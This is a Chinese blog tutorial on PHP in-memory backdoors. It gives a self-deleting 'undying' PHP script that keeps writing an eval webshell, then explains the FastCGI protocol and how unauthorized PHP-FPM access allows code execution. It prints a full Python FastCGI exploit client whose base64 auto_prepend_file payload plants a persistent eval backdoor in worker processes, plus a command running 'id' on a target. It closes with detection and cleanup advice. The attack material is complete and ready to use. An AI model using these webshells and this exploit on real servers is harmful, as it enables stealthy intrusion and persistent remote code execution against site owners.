内存马学习之php内存马

本文最后更新于:2022年9月12日 上午

PHP内存马

PHP不死马

PHP不死马原理

php内存马也就是php不死马是将不死马启动后删除本身,在内存中执行死循环,使管理员无法删除木马文件。本次演示是将php不死马放到web目录下访问后及执行会在本地循环生成php一句话木马。实际上,PHP不死马并未实现无文件攻击或者内存webshell等,理论上并不属于内存马的范畴,但是关于PHP内存马的实现,确实仅有这几种方法,所以在此处简单介绍一下。

PHP不死马代码
1
2
3
4
5
6
7
8
9
10
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["cmd"]); ?>';
file_put_contents("shell.php", $content);
usleep(10000);
}
?>

函数说明

1
2
3
4
5
1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开。
2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
3. unlink(__FILE__)函数:删除文件。
4. file_put_contents函数:将一个字符串写入文件。
5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。

访问成功,并且无法删除。

image-20220608210706421

值得注意的是php一般都有设置php超时事件,所以php后台运行一定时间后可能会自动终止。image-20220608221221995

检测思路
1
2
1. 检查所有php进程处理请求的持续时间(top|grep http)
2. 检测执行文件是否在文件系统真实存在
查杀PHP不死马
  • 重启php服务器
  • 强行kill后台进程 ps aux|grep www-data|awk '{print 2}'| xargs kill -9
  • 竞争删除

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode 运行了。使用条件竞争写入同名文件进行克制不死马。

image-20220608211639286

image-20220608211558944

FastCGI马

​ 在了解FastCGI马之前,我们先来简要介绍一下FastCGI是个什么东东。

CGI与FastCGI

​ 首先,我们来了解一下什么是CGI:以web服务器为例,我们知道apache可以用于搭建web服务器,但是apache只能够解析静态网页,也就是html类型网页;当然,我们可以安装php组件,通过apache配置文件使其能够解析php。这其中就用到了CGICGI是指Web Server 与 Web Application 之间数据交换的一种通信协议,当apache需要解析php时,他会通过配置文件获取到解析php服务的应用端口,并将需要解析的文件数据通过CGI协议交给PHP解析器。也就是说apache和php之间并不是一个整体(这是我以前误解的地方),而是apache通过CGI协议内部访问php解析器来实现php解析的。而FastCGICGI的升级版本,比 CGI 在效率上做了一些优化。两者的区别是:CGI每次解析是都会重新启动一个解析器进程,重新读取配置文件,重新载入扩展,解析完成后退出;而FastCGI是一种常驻型的CGI,只在进程启动时读取一次配置文件,请求解析完成后也不会退出,这样大大提高了性能。

​ 类比于HTTP协议,FastCGI协议是服务器中间件与某个语言后端进行数据交换中所使用的协议。FastCGI每次交换的消息称为record,这与HTTP协议请求数据包类似,record也有自己的headerbodyrecord的头固定8个字节,body是由头中的contentLength指定,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端解析FastCGI头之后,会根据contentLength获取的Body的数据,Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

​ 在FastCGI请求头中有一个type变量,type用于指定该record的作用,不同的record对应的bode结构不同,具体含义如下:

type值 具体含义
1 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2 异常断开与php-fpm的交互
3 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4 在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5 web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 php-fpm给web服务器回的正常响应消息的type就设为6
7 php-fpm给web服务器回的错误响应设为7

这里我们主要介绍type为4的record,因为FastCGI木马使用到了该类型的record,其他类型详见看这篇文章

当后端语言接收到一个type为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

这其实是4个结构,至于用哪个结构,有如下规则:

  • key、value均小于128字节,用FCGI_NameValuePair11
  • key大于128字节,value小于128字节,用FCGI_NameValuePair41
  • key小于128字节,value大于128字节,用FCGI_NameValuePair14
  • key、value均大于128字节,用FCGI_NameValuePair44

​ 关于web中间件与php之间的通信,我们举个例子来进行说明。用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

​ Nginx将以上数据通过FastCGI协议格式发送给PHP-FPM,PHP-FPM拿到FastCGI的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

PHP-FPM

​ 首先要说的是:FastCGI是一种协议规范,php-fpm最终会解析这个协议。我们知道无论是CGI还是FastCGI最终都会启动php解析器程序(php-cgi),但是该程序只能解析请求并不能进程管理,而php-fpm就是php-cgi的进程管理程序,它克服了php-cgi变更php.ini配置后,需重启php-cgi才能让新的php-ini生效,无法平滑重启;直接杀死php-cgi进程,php就不能运行了等问题。具体的相关信息可以看这篇文章

FastCGI未授权访问

那么,如果我们能够控制FastCGI的通信协议,是否可以执行任意代码呢?

理论上当然是不可以的,但是在PHP的配置中有两个特殊的配置项可以帮我们实现这一点:auto_prepend_fileauto_append_file

  • auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;
  • auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

如果我们设置auto_prepend_filephp://input(只要Content-Type不为multipart/form-dataphp://input会填入post数据,详见官方文档),那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。当然,还需要开启远程文件包含选项allow_url_include

那么,我们如何设置auto_prepend_file的呢?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

漏洞复现

复现环境可以使用vulhub的CVE-2019-11043复现环境。

Exp见p神的代码 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75。

1
python php_fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c "<?php echo `id`;?>"

image-20230227212846684

参考链接

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

fastcgi协议分析与实例

利用PHP-FPM做内存马

上个章节介绍了接近内存马的PHP不死马以及利用FastCGI制作的木马,但是这两种木马都不符合内存马的基本特性—-PHP 代码无法长久驻留内存执行,接下来我们对FastCGI马进行下相应的改进使其称为真正意义上的内存马。

​ 在FastCGI马中,我们使用PHP_VALUE设置auto_prepend_file = php://input从而使得http请求传入的数据得到执行,那么有没有方法使得后门代码在内存中驻留呢?*我们只需要将php://input协议换为data就可以了(base64的内容为<?php @eval($_REQUEST[test]); ?>

1
2
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_VALUE': 'auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\'',

Payload用P神的代码修改一下即可。

P神的脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

源码备份:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])


def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)


def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')


def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:

self.sock.connect((self.host, int(self.port)))

except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(
FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(
FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(
FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(
FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument(
'file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute',
default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port',
default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
# 'PHP_VALUE': 'auto_prepend_file = php://input',
# 'PHP_VALUE': '',
'PHP_ADMIN_VALUE': 'allow_url_include = On auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\''
}
response = client.request(params, content)
print(force_text(response))

由于使用了auto_prepend_file,因此我们只需要访问服务器上任意一个正常的 PHP 文件,无需任何修改,都能触发我们的内存马。

image-20230228185217368

​ 当然,这个方案也有局限性,因为是内存马,所以他实际上是和PHP-FPM的 Worker 进程绑定的,因此,如果服务器上有多个Worker进程,我们就需要多发送刚才的请求几次,才能让我们的payload“感染”每一个进程。

内存马的检测

​ 既然是内存马,因此我们无法从代码扫描中发现。并且由于他只是修改了内存中的 PHP 配置,我们也无法从PHP.ini/.user.ini/php-fpm.conf等文件内容中检测。真正添加内存马由于只需要对fpm监听的端口发送请求,因此也无法从webserver的accesslog中发现问题。但是我们是可以通过rasp之类的工具,通过检查auto_prepend_file/auto_append_file/allow_url_inclue配置的变化(虽然目前很多 rasp 也不会做这些操作)来做检测。
​ 另外,由于触发方式可以是任意一个 PHP 文件,所以,我们想从后续的访问行为中做检查也有一定难度,但是可以从网络流量中检查对应的后门 payload,或者从进程的行为中,来做检查。

参考链接

利用 PHP-FPM 做内存马的方法


内存马学习之php内存马
https://genioco.github.io/2022/05/06/Learn/内存马学习之PHP内存马/
作者
BadWolf
发布于
2022年5月6日
许可协议